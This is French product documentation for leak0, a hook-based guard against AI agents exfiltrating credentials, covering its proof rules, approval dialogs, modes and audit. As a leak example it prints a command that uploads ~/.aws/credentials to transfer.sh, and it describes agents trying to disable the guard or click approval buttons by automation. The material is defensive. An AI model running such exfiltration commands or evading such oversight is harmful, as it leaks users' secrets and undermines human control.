Discuter de ce sujet avec une IA

Vous obtenez une réponse tirée de la documentation et la page d'où elle vient.

leak0

leak0 : Protection contre l'exfiltration d'identifiants

leak0 empêche vos agents IA de transmettre vers l'extérieur des secrets tels que des clés d'API, des tokens ou des fichiers d'identifiants (exfiltration). Il vérifie vos saisies, les appels d'outils des agents et leur sortie directement sur votre appareil. Seul ce que leak0 peut prouver est bloqué.

~10 min de lecture · leak0

Termes

TermeSignification
HookUn point d'entrée proposé par l'agent : avant ou après une étape, l'agent appelle leak0 et attend sa réponse. leak0 fonctionne uniquement via ces hooks.
Appel d'outilUne action de l'agent, par exemple une commande shell, un accès à un fichier, une requête web ou un appel MCP.
Blocageleak0 arrête l'appel d'outil avant son exécution. Uniquement avec une preuve.
QuestionL'agent s'arrête et vous demande si l'appel doit s'exécuter.
RemarqueL'appel s'exécute, et leak0 renvoie à l'agent un message texte sur la détection.
Masquageleak0 remplace une valeur secrète dans la sortie d'un outil par un marqueur avant que le modèle ne la voie.
Hash courtUne empreinte courte d'une valeur. Elle identifie une détection dans le message et l'audit sans révéler la valeur.
Valeur fictiveUne valeur d'exemple reconnaissable à la place d'un vrai secret, par exemple your-api-key-here, <token> ou ${API_KEY}.
Dialogue PoisonZeroUne fenêtre PoisonZero au premier plan de votre bureau. Elle demande si un commit contenant un fichier de secrets peut s'exécuter lorsque l'agent ne peut pas vous le demander lui-même. Bloquer est présélectionné.
Connexion systèmeLa fenêtre de connexion de votre système d'exploitation, par exemple avec Touch ID, un code PIN ou votre mot de passe. Elle n'apparaît que si vous choisissez Autoriser. Un agent ne peut pas donner cette connexion lui-même.

Périmètre de contrôle

leak0 vérifie quatre voies par lesquelles un secret peut quitter votre appareil ou se retrouver au mauvais endroit.

VoieExemplesMoment du contrôle
1 Commit et publicationgit add, git push, npm publish, entre autresAvant l'appel (hook shell)
2 Réseau et outils tierscurl, scp, requêtes web, appels MCPAvant l'appel (hooks shell, web et MCP)
3 Secret vers le modèlecat ~/.aws/credentials, env, un token dans votre saisieAvant l'appel (hooks de saisie et de lecture) et dans la sortie ensuite (hook de sortie)
4 Secret dans un mauvais fichierUn token codé en dur dans le code, un fichier CI, un README ou un fichier de mémoireAvant l'écriture (hook d'écriture)
Les abus sans fuite, comme supprimer un fichier d'identifiants, sont contrôlés par exec0.

Quand leak0 bloque

Un blocage nécessite l'une de cinq preuves, B1 à B5. Sans preuve, leak0 ne bloque pas ; il pose une question, masque ou ajoute une remarque.

PreuveQuand elle est remplieExemple
B1 Fichier d'identifiants connuL'appel porte sur un fichier d'identifiants connu, et son contenu confirme le type. leak0 suit pour cela les liens symboliques et normalise les chemins Windows.~/.aws/credentials, un JSON de compte de service, une clé SSH privée
B2 Token avec checksumLe token a un préfixe connu et un checksum valide. Cela ne vaut que pour les familles de tokens qui portent un checksum.GitHub ghp_…, npm_…, GitLab glpat-…, entre autres
B3 Valeur secrète connueUne valeur que leak0 a déjà reconnue comme secret dans la même session figure telle quelle dans un appel sortant.Le contenu de ~/.aws/credentials dans le corps d'un appel curl
B4 Secret vers un tiersLe secret figure dans les données envoyées (corps, envoi de fichier, gist, nom DNS), et la destination n'est manifestement pas la vôtre : un service de collage, de dépôt de fichiers, de collecte de requêtes ou de tunnel, une adresse IP publique ou une publication publique.curl -F f=@~/.aws/credentials https://transfer.sh
B5 Désactiver leak0L'agent tente de désactiver leak0, ou supprime ou modifie les entrées PoisonZero dans ses réglages de hooks.poisonzero leak0 off, exécuté par l'agent

Ce que contient un message

À chaque blocage et à chaque question, l'agent reçoit un message. Il ne nomme jamais la valeur secrète. Il contient :

  • leak0 comme expéditeur et la preuve (B1 à B5)
  • la classe de règle avec le préfixe leak0:, par exemple leak0:checksum_token_commit
  • le type de preuve : chemin résolu, structure, checksum ou correspondance de hash
  • le hash court de la valeur
  • comment désactiver leak0

Quand leak0 ne bloque pas

leak0 ne bloque que lorsqu'une fuite est prouvée. Dans ces cas, la preuve manque, il n'y a donc jamais de blocage.

SituationCe que fait leak0
Un token est envoyé à son propre point de connexion, par exemple dans l'en-tête Authorization ou sous la forme user:token@hostPas de blocage ; selon le cas, une question ou une remarque
Copie vers vos propres serveurs (scp, rsync), stockage compatible S3, GitLab ou Vault auto-hébergéPas de blocage ; pour un fichier d'identifiants, une question
Fichiers .env, fichiers de démarrage du shell comme ~/.zshrc, fichiers PEM dans le dépôtPas de blocage ; question, masquage ou remarque
Un fichier secret avec des valeurs réelles dans un dossier de test, par exemple tests/.env ou fixtures/credentialsUne question au lieu d'un blocage
Valeurs fictives et valeurs d'exemple dans les dossiers de test et les modèles, par exemple .env.exampleS'exécute sans intervention
Un token avec somme de contrôle dans un dossier de documentation, par exemple docs/ ou examples/Une question au lieu d'un blocage

Les dossiers de test sont les dossiers du dépôt qui portent exactement l'un de ces noms : test, tests, testdata, fixtures, fixture, __tests__, __fixtures__, __mocks__. Comptent aussi les fichiers de test comme *_test.*, *.spec.* et *.test.*, ainsi que les modèles se terminant par .example, .sample ou .template.

Seul compte le chemin depuis la racine du dépôt. Le dossier qui contient le dépôt ne compte pas : leak0 contrôle un projet sous ~/TestApp comme tout autre.

Les dossiers de documentation (docs, doc, examples, example, samples, sample, spec) n'assouplissent que les détections de tokens. leak0 y contrôle les fichiers secrets comme partout : docs/.env avec des valeurs réelles entraîne une question, un vrai fichier d'identifiants un blocage.

Nouveaux fichiers secrets dans Git

Lorsqu'une commande Git intègre un nouveau fichier secret, par exemple un .env, un fichier d'identifiants ou un fichier de clé, leak0 contrôle son contenu. Le message nomme le fichier, jamais la valeur.

SituationCe que fait leak0
git add . ou git add -A intègre un fichier secret avec des valeurs réellesUne question qui nomme le fichier
git commit -a ou git commit avec des chemins inclut un tel fichierUne question qui nomme le fichier
git push, aussi avec --tags ou lors du premier push, envoie un tel fichierUne question qui nomme le fichier
Le fichier est un fichier d'identifiants prouvé (B1), par exemple un fichier credentials d'AWSBlocage
.env.example ou un fichier contenant uniquement des valeurs fictivesS'exécute sans intervention
La vérification ne se termine pas dans le temps disponibleUne question là où l'agent demande lui-même, sinon un blocage qui invite à réessayer. L'appel ne passe jamais sans vérification.

Qui pose la question dépend de l'agent :

AgentQuestion sur un fichier de secrets dans Git
Claude Code, Cursor et Antigravity CLILe dialogue de confirmation propre à l'agent
Codex et Gemini CLILe dialogue PoisonZero, Autoriser avec connexion système

Autorisation dans le dialogue PoisonZero

Codex et Gemini CLI ne peuvent pas vous interroger eux-mêmes depuis le hook. Pour un fichier de secrets dans Git, c'est donc PoisonZero qui demande, en deux étapes. Les deux fenêtres portent le titre « poison0 agent: leak0 safeguard ».

ÉtapeCe qui se passe
1. Dialogue PoisonZeroApparaît au premier plan et nomme le produit, l'agent, le fichier et la raison, jamais la valeur. Bloquer est présélectionné : un clic, sans mot de passe.
2. Connexion systèmeCe n'est que si vous choisissez Autoriser que la fenêtre de connexion de votre système d'exploitation apparaît aussitôt au premier plan. Vous vous connectez avec votre propre compte.
SituationEffet
Vous choisissez Autoriser et vous vous connectezL'appel s'exécute, une fois
Vous choisissez BloquerBlocage. L'agent reçoit le texte indiquant que vous avez refusé et la demande de vous consulter.
Vous annulez la connexion, ou le mot de passe est erronéBlocage
Pas de réponse sous 90 secondesBlocage
L'agent réessaie après un refus ou sans réponsePas de nouveau dialogue pour le même fichier pendant 60 secondes. Blocage avec un texte clair pour l'agent.
Plus de trois dialogues en une minuteBlocage sans dialogue. L'agent est informé qu'il y a eu trop de demandes.
Pas de bureau : session SSH, CI, personne de connecté ou le service PoisonZero est injoignableBlocage. Le message indique poisonzero leak0 allow <fichier> pour votre propre terminal.

Pourquoi une connexion système ? Un agent peut déclencher lui-même un clic sur Autoriser, par exemple par automatisation de l'interface. Il ne peut pas donner la connexion de votre système d'exploitation. Un clic seul ne laisse donc rien passer.

Système d'exploitationFenêtre de connexion
macOSLa fenêtre système de macOS avec Touch ID ou mot de passe
WindowsLa fenêtre « Sécurité Windows » avec le texte de PoisonZero. Si un code PIN ou une empreinte digitale est configuré, Windows vous le propose à cet endroit.
LinuxL'authentification système de polkit. PoisonZero ne voit jamais le mot de passe.

Seule compte la connexion du compte sous lequel l'agent s'exécute ; vous n'avez pas besoin de droits d'administrateur. Claude Code continue de demander dans son propre dialogue de confirmation.

Autorisation dans votre propre terminal

Sans bureau, par exemple en SSH, leak0 bloque et indique la commande poisonzero leak0 allow <fichier>. Exécutez-la dans votre propre terminal, pas via l'agent. Laissez ensuite l'agent refaire le commit ou le push.

CommandeEffet
poisonzero leak0 allow <fichier>Autorise exactement le contenu actuel du fichier : pour un nombre quelconque de commits pendant 10 minutes et pour un push, le premier qui contient le fichier. Plusieurs fichiers sont possibles.
  • Confirmation : votre propre mot de passe, dans votre propre terminal. Vous n'avez pas besoin de droits d'administrateur. Sous macOS et Linux, sudo fonctionne aussi.
  • Ce contenu uniquement : si le fichier change ensuite, l'autorisation ne s'applique plus.
  • Échecs : 3 secondes entre deux tentatives. Après 5 échecs, l'autorisation est bloquée pendant 15 minutes.
  • Service : le service PoisonZero vérifie la connexion, délivre l'autorisation et l'enregistre. Il doit être en cours d'exécution.
  • Pas par l'agent : si l'agent exécute lui-même la commande, leak0 la bloque (B5).
  • Le message à l'agent indique la commande aussi après un refus dans le dialogue.

Autorisation par les utilisateurs dans le profil

Dans les profils Cloud, l'admin décide si les personnes sur l'appareil peuvent autoriser elles-mêmes les commits contenant des fichiers de secrets. Console : section leak0, interrupteur Les utilisateurs peuvent autoriser eux-mêmes les commits contenant des fichiers de secrets. Par défaut : activé.

InterrupteurCe que fait leak0
ActivéUne question dans le dialogue de l'agent ou dans le dialogue PoisonZero. L'autorisation avec poisonzero leak0 allow est possible.
DésactivéBlocage pour chaque agent, Claude Code compris. Le message invite à s'adresser à l'admin. poisonzero leak0 allow refuse l'autorisation, et les autorisations existantes ne comptent pas.

Les appareils privés n'ont pas cet interrupteur. L'autorisation y est toujours possible.

Notification de bureau lors d'un blocage

Lorsque leak0 bloque un appel, PoisonZero peut afficher une notification de bureau : agent, outil et ce qui a été bloqué, par exemple « Jeton dans un commit ». Elle ne contient jamais de valeur secrète, de chemin ni de commande.

PointComportement
ActiverConsole : profil, réglage Avis lorsqu'une menace est bloquée. Appareils privés : sudo poisonzero notify on ; le réglage local est prioritaire sur le profil. Par défaut : désactivé.
QuandLors d'un blocage. Les questions, le masquage et les remarques ne déclenchent pas de notification.
Pour quiPour la personne connectée au bureau dont l'agent a été bloqué
FréquenceLe même blocage au plus une fois par minute, au moins 5 secondes entre deux notifications

Agents pris en charge

leak0 prend en charge cinq agents. Ce qu'il fait pour chaque agent dépend des hooks que l'agent propose.

AgentSystèmes d'exploitation
Claude CodemacOS, Linux et Windows
Codex (CLI et IDE)macOS, Linux et Windows
CursormacOS et Linux
Gemini CLImacOS, Linux et Windows
Antigravity CLImacOS, Linux et Windows
AgentBloquerQuestionMasquer les secrets dans la sortie des outilsVérifier vos saisies
Claude Codeouioui, dialogueoui, la valeur seuleoui
Codex (CLI et IDE)ouidialogue PoisonZero pour les fichiers de secrets dans Git, sinon remarqueoui, la valeur seuleoui
Cursorouidialogue pour les appels shell et MCPpour les sorties MCPoui
Gemini CLIouidialogue PoisonZero pour les fichiers de secrets dans Git, sinon remarqueoui, la valeur seuleoui
Antigravity CLIouioui, dialoguenon disponiblenon disponible

Ce que signifient les colonnes

  • Bloquer : leak0 arrête l'appel d'outil avant son exécution lorsque l'une des preuves B1 à B5 est remplie. Cela vaut pour les cinq agents.
  • Question : lorsqu'un secret est probable mais non prouvé, par exemple avec git add .env, une question vous est posée avant l'exécution de l'appel. Claude Code et Antigravity CLI affichent leur dialogue de confirmation, Cursor pour les appels shell et MCP. Codex et Gemini CLI : le dialogue PoisonZero pour les fichiers de secrets dans Git, voir Autorisation dans le dialogue PoisonZero.
  • Remarque (colonne Question) : pour les autres questions, Codex et Gemini CLI ne proposent pas de dialogue depuis le hook. L'appel s'y exécute, et leak0 renvoie à l'agent un message texte qui nomme la détection.
  • Masquer les secrets dans la sortie des outils : lorsqu'un secret apparaît dans la sortie d'un outil, par exemple avec cat .env, leak0 remplace uniquement la valeur avant que le modèle ne la voie : OPENAI_API_KEY=[leak0:openai:a1b2]. Si la valeur ne peut pas être isolée, leak0 retient toute la sortie. Cursor : pour les sorties MCP. Antigravity CLI : non disponible, car l'agent ne propose qu'un hook avant l'appel d'outil. Sorties shell et de fichiers dans Cursor : une remarque à l'agent, consignée dans l'audit comme leak0_warned.
  • Vérifier vos saisies : leak0 vérifie votre propre saisie, par exemple un token collé, avant qu'elle ne parte vers le modèle. Antigravity CLI : non disponible. Cursor CLI en mode impression (-p) n'appelle pas le hook de saisie.

Lorsqu'une sortie d'outil est trop volumineuse pour être contrôlée dans le temps disponible, leak0 la retient en mode Activé. L'agent reçoit une remarque l'invitant à restreindre la commande, par exemple avec head ou grep.

Les détections qui ne justifient ni un blocage ni une question reçoivent une remarque de leak0 : toujours avec Codex, Cursor et Gemini CLI, et avec Claude Code tant que exec0 est désactivé. Antigravity CLI n'a pas de champ pour les remarques ; l'appel s'y exécute sans message.

Le masquage change ce que voient le modèle et les hôtes tiers. Les transcriptions et la télémétrie de l'agent peuvent encore contenir la valeur en clair.

À noter

  • Codex : la recherche web intégrée s'exécute chez le fournisseur sans hook et n'est pas vérifiée.
  • Les exécutions dans le cloud, comme Codex Cloud ou l'agent cloud de Copilot, ne s'exécutent pas sur votre appareil ; leak0 ne les voit pas.
  • poisonzero leak0 status indique pour chaque agent de l'appareil s'il est protégé, partiellement protégé ou non protégé.

Agents que leak0 ne prend pas (encore) en charge

AgentRaison
GitHub Copilot CLI, VS Code agent, Windsurf, Cline (macOS et Linux), Kiro, Goose, Augment (Auggie), Junie CLI, Factory Droid, Amp, OpenCode, Cortex Code CLI, Qwen Code, Kilo Code, Crush, OpenHands, Open Interpreter, gptme, Kimi Code CLI, Mistral Vibe, Pi, Grok CLI, Tabnine CLIDes hooks existent, non pris en charge dans cette version
Assistant de code de Xcode (Claude Code, Codex et Gemini CLI dans Xcode)Lit sa propre configuration dans ~/Library/Developer/Xcode/CodingAssistant/ ; non protégé dans cette version
AiderPas de système de hooks ; les commits automatiques s'exécutent avec --no-verify par défaut
ZedSeulement des règles fixes par outil, pas de hook exécutable
Cline sous WindowsPas de hooks sous Windows
Cursor sous WindowsPris en charge sous macOS et Linux dans cette version
Amazon Q Developer CLIProduit arrêté
Warp, Roo Code, Continue (extension IDE), Trae, Void, Plandex, Qodo, GitHub Copilot dans Visual Studio, JetBrains, Xcode et Eclipse, JetBrains AI Assistant, Gemini Code Assist, Android Studio Gemini, Databricks Assistant, extension Snowflake pour VS Code, Sourcegraph Cody, Letta Code, Tabby, Raycast AI, Google Jules CLI, Pieces, Flowise, Dify, LibreChatAucun hook utilisable connu

Hors périmètre

leak0 ne couvre pas ces cas, ou seulement en partie. La colonne de droite indique ce qui s'applique à la place.

Non couvertRaisonÀ la place
Empoisonnement de la mémoire, y compris quand l'instruction empoisonnée demande d'envoyer des secretsUne protection à partpoison0, voir Ce que fait l'agent poison0
Abus sans fuite : écraser ou supprimer un fichier d'identifiants, assouplir des droits, créer des tokens à portée trop largeAucun secret ne quitte la machineexec0
Injection de prompt dans du contenu que lit l'agentUn autre risqueinject0
Chemins cachés, par exemple via des jokers, des variables, $(...) ou des sous-processusLe chemin ne figure pas de façon démontrable dans la commandePas de blocage ; la sortie est masquée là où l'agent le permet
Sortie encodée ou découpée, par exemple en hex ou en morceauxUn checksum ne correspond qu'à la valeur entièreToute la sortie est retenue quand un fichier d'identifiants alimente une commande qui la transforme
Scripts, Makefiles, hooks git ou CI lancés plus tardÉcrire et lancer sont des appels distinctsBlocage seulement si le script écrit envoie un fichier d'identifiants vers une destination manifestement tierce dans le même pipeline ; sinon une remarque
Secrets sans format connu, par exemple des mots de passeNon démontrableMasquage par nom de champ dans les fichiers d'identifiants connus ; jamais un blocage
Tokens révoqués ou de test à checksum valideHors ligne, impossibles à distinguer de vrais tokensSous les chemins de test, de fixtures et de documentation, une question au lieu d'un blocage
Vérification en ligne de la validité d'un tokenleak0 vérifie uniquement hors ligneNe fait pas partie de leak0
Voies sans hook : recherche web de Codex, commandes ! dans Claude Code, télémétrie, saisie dans un terminal à côté de l'agentAucun hook ne les voitNon couvert
Texte en clair sur le disque : transcriptions et télémétrie des agentsleak0 change ce que voient le modèle et les hôtes tiers, pas ce que l'agent enregistreNon couvert
Un sandbox ou un lanceur propre pour les agentsleak0 fonctionne uniquement via les hooks des agentsNe fait pas partie de leak0
leak0 couvre les voies directes connues et ne bloque qu'avec une preuve. Il ne détecte pas entièrement les voies cachées.

Modes de fonctionnement

ModeDans la consoleEffet
enforceActivéBloque sur preuve, pose des questions, masque et ajoute des remarques.
observeObserverJournalise chaque correspondance avec sa preuve. Ne bloque, ne questionne et ne masque jamais.
offDésactivéAucune vérification. Si exec0 est aussi désactivé, le hook se termine immédiatement.

leak0 n'est jamais activé en silence. Il n'est activé qu'après une décision : dans l'installeur, avec PZ_SETUP_LEAK0, avec sudo poisonzero leak0 enforce ou dans le profil de la console. Sans aucune d'elles, le mode est off.

  • Ordre : réglage local, puis profil, puis off. Sur les appareils Cloud, le réglage local ne compte pas.
  • leak0 est indépendant de exec0 : leak0 activé avec exec0 désactivé est un réglage valide. Les deux s'exécutent dans la même entrée de hook ; leak0 vérifie en premier.
  • leak0 fait partie de Solo Dev, Pro et Enterprise.

Configuration en mode Cloud

  1. Dans la console, ouvrez Settings → Profils.
  2. Enterprise : cliquez sur Modifier sur le profil. Solo Dev et Pro : le profil s'affiche directement dans cette section.
  3. Dans la zone leak0, choisissez Activé, Observer ou Désactivé. Les profils existants démarrent sur Désactivé ; un nouveau profil a Activé présélectionné.
  4. Ajoutez si vous le souhaitez vos propres fichiers de secrets et exclusions dans les deux listes et décidez si les utilisateurs peuvent autoriser eux-mêmes les commits contenant des fichiers de secrets.
  5. Enregistrez. Les appareils Cloud prennent le réglage à leur prochaine synchronisation avec la console et ajoutent les entrées de hook manquantes ; les utilisateurs de Codex confirment les nouveaux hooks dans Codex avec /hooks.
Champ du profilValeursLimite
leak0.modeenforce, observe, offoff tant qu'il n'est pas défini
leak0.secretFilesListe de { path, keys } : path est un glob, ~ et %USERPROFILE% sont autorisés ; keys nomme éventuellement les champs qui contiennent le secret200 entrées au maximum
leak0.exclusionsListe de globs que leak0 ne traite pas comme source de secrets200 entrées au maximum
leak0.userMayApprovetrue, false : les personnes sur l'appareil peuvent autoriser les commits contenant des fichiers de secretstrue tant que non défini

Sur les appareils Cloud, les commandes poisonzero leak0 qui modifient quelque chose sont refusées, sauf clear ; le réglage de la console s'applique. Sur les profils privés, la console affiche une remarque indiquant que le réglage ne s'applique qu'aux appareils Cloud.

Configuration en mode privé

Les appareils privés ne sont pas pilotés depuis la console. Tout se règle avec la CLI sur l'appareil.

CommandeEffet
poisonzero leak0 statusAffiche le mode, la source (local, profil, défaut), combien de fichiers secrets et d'exclusions contiennent vos listes (poisonzero leak0 file list et exclude list les affichent) et la protection par agent. Quand leak0 est désactivé, indique la commande pour l'activer.
poisonzero leak0 allow <fichier>Autorise un fichier de secrets avec son contenu actuel pour des commits (10 minutes) et un push, avec votre connexion système ; voir Autorisation dans votre propre terminal
sudo poisonzero leak0 enforceActive leak0
sudo poisonzero leak0 observeObserver seulement
sudo poisonzero leak0 offDésactive leak0
sudo poisonzero leak0 clearSupprime le réglage local ; le profil ou off s'applique de nouveau
sudo poisonzero leak0 file add <glob> --keys k1,k2Ajoute un fichier de secrets à vous ; --keys est facultatif
sudo poisonzero leak0 file remove <glob>Le supprime
poisonzero leak0 file listListe vos fichiers de secrets
sudo poisonzero leak0 exclude add <glob>Ajoute une exclusion
sudo poisonzero leak0 exclude remove <glob>La supprime
poisonzero leak0 exclude listListe les exclusions
Sous Windows, exécutez les commandes sans sudo dans un terminal ouvert en tant qu'administrateur.

Les réglages sont stockés dans le répertoire de données : /var/lib/poisonzero (Linux), /Library/Application Support/PoisonZero (macOS), <ProgramData>\PoisonZero (Windows), voir Installer l'agent poison0.

FichierContenuÉcrit par
leak0modeInterrupteur local : enforce, observe ou offpoisonzero leak0 enforce, observe, off
leak0.local.jsonVos listes : {"secretFiles": [...], "exclusions": [...]}poisonzero leak0 file et exclude
leak0.profileCopie du réglage leak0 du profil de la consoleL'agent poison0, appareils Cloud uniquement

Installation

Dans un terminal, l'installeur demande s'il faut activer leak0 : Activé, Observer ou Désactivé, avec Activé présélectionné. Cela vaut aussi pour l'installation en une ligne avec curl -fsSL https://poisonzero.com/install.sh | sudo sh.

Les installations sans surveillance (MDM, outils de flotte, scripts) lisent PZ_SETUP_LEAK0 ; sans elle, leak0 reste désactivé. Sur les appareils Cloud, le profil de la console décide.

VariableValeursSans la variable
PZ_SETUP_LEAK0enforce, observe, offInteractive : la question ci-dessus. Sans surveillance : off
bashInstaller avec leak0 activé
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
powershellInstaller avec leak0 activé
$env:PZ_SETUP_LEAK0='enforce'
irm https://poisonzero.com/install.ps1 | iex

Entrées de hook

SituationCe qui se passe
Installer l'agent poison0L'installeur ajoute les entrées de hook PoisonZero à chaque agent pris en charge qu'il trouve : sous macOS et Linux à Claude Code, Codex, Cursor, Gemini CLI et Antigravity CLI, sous Windows à Claude Code, Codex, Gemini CLI et Antigravity CLI. Codex vous demande une fois de faire confiance au nouveau hook : confirmez-le dans Codex avec /hooks.
Désactiver leak0 ou exec0Les entrées de hook restent. Chaque produit est activé ou désactivé à l'exécution, indépendamment de l'autre.
Désinstaller l'agent poison0Seule cette action supprime les entrées de hook.
Un administrateur active leak0 dans un profil CloudL'appareil ajoute les entrées de hook manquantes lors de sa prochaine récupération de configuration. Codex vous demande de faire confiance aux nouveaux hooks : confirmez-les dans Codex avec /hooks. poisonzero leak0 status indique quand une confirmation est en attente.
Claude Code : le hook ne s'exécute pas (binaire absent, plantage, délai dépassé)Si leak0 ou exec0 fonctionne en mode enforce (leak0 : Activé, exec0 : Protection), Claude Code bloque l'appel d'outil. Si les deux sont en Observer ou Désactivé, Claude Code poursuit l'appel.
Codex, Cursor, Gemini CLI, Antigravity CLI : le hook ne s'exécute pasL'agent poursuit l'appel (fail-open). Pour Cursor, failClosed n'est pas activé.

Appareils existants : une mise à jour n'active pas leak0. Il reste désactivé jusqu'à ce que vous exécutiez sudo poisonzero leak0 enforce ou que vous l'activiez dans le profil de la console.

Audit

Chaque décision de leak0 est écrite comme événement d'audit.

ActionSignificationAudit localAudit de la console (mode Cloud)
leak0_blockedAppel bloqué avec preuveouioui
leak0_askedConfirmation demandée. Pour Codex et Gemini CLI avec le résultat du dialogue PoisonZero : autorisé, refusé, pas de réponse ou aucun dialogue possibleouioui
leak0_redactedValeur masquée dans une sortie d'outilouioui
leak0_warnedAverti : l'agent ne permet pas l'intervention, par exemple le masquage d'une sortie shell ou de fichier dans Cursor. leak0 renvoie une remarque à l'agent.ouioui
leak0_observedDétection en mode observe, sans interventionouiSeulement si « Aussi dans la console (audit cloud) » est activé dans le profil ; par défaut : désactivé
leak0_grantedFichier autorisé avec poisonzero leak0 allow après votre connexion système. Avec l'utilisateur, le nombre de fichiers et un hash court par fichierouioui
leak0_grant_failedAutorisation échouée : connexion incorrecte ou annuléeouioui
leak0_grant_lockedAutorisation refusée sans connexion, car trop de connexions ont échouéouioui

Champs par événement : agent, outil, classe de règle, mode et un hash court. Jamais inclus : la valeur secrète, le chemin ni la commande. Dans la console, les événements ont leurs propres libellés ; leak0_blocked et leak0_redacted comptent comme incidents. leak0_warned ne compte pas comme incident. Une nouvelle tentative dans les 60 secondes suivant un refus et une tentative au-delà de la limite de dialogues figurent chacune comme entrée leak0_blocked distincte. Si l'autorisation pour exactement ce contenu a déjà été consommée par un push, l'entrée l'indique. leak0_granted et leak0_grant_locked comptent comme incidents.

Confidentialité

DonnéesMode CloudMode privé
Contenu des prompts, commandes, fichiers et sortiesVérifié sur l'appareil, non envoyé pour la vérificationVérifié sur l'appareil
Valeurs secrètesJamais dans l'audit ni dans le journalJamais dans l'audit ni dans le journal
État de session (chemins des copies, hashs courts des valeurs reconnues)Sur l'appareil, un fichier par session, lisible uniquement par votre compte utilisateur, supprimé à la fin de la session là où l'agent signale la fin (Claude Code), sinon après 24 heuresIdentique
Entrée d'audit (heure, action, outil, classe de règle, hash court), sans contenuSur l'appareil et dans l'audit de la consoleSur l'appareil uniquement

Jamais dans l'audit : valeurs, chemins, commandes, arguments ni votre prompt. Liste complète : Ce que le mode Cloud envoie.

Comparaison avec exec0 et la protection de la mémoire

Protection de la mémoireexec0leak0
VérifieLes modifications de la mémoire et des fichiers d'instructions des agentsChaque appel d'outil, à la recherche d'un dommagePrompts, appels d'outils et sorties, à la recherche de secrets qui sortent
Décide avecMelira AI et des règlesDes règles fixes et Melira AIDes règles fixes avec preuve, sans modèle
S'exécuteSur votre appareilSur votre appareilSur votre appareil

Pour aller plus loin

Appels d'outils nuisibles : exec0. Ce que protège poison0 : Ce que fait l'agent poison0. Choisir un mode : Cloud ou privé.